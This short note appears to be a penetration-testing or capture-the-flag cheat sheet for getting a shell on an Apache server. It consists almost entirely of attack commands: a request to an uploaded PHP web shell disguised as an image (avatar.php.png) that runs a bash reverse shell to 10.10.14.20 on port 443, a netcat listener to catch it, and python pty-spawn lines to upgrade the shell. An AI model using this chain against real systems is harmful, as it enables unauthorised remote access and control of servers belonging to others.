CMD. PHP.NetCat (Apache server) user or root
which python
python3 -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'
http:http://10.10.10.5/images/uploads/avatar.php.png?cmd=bash -c 'bash -i >%26 /dev/tcp/10.10.14.20/443 0>%261'
nc -lvpn 443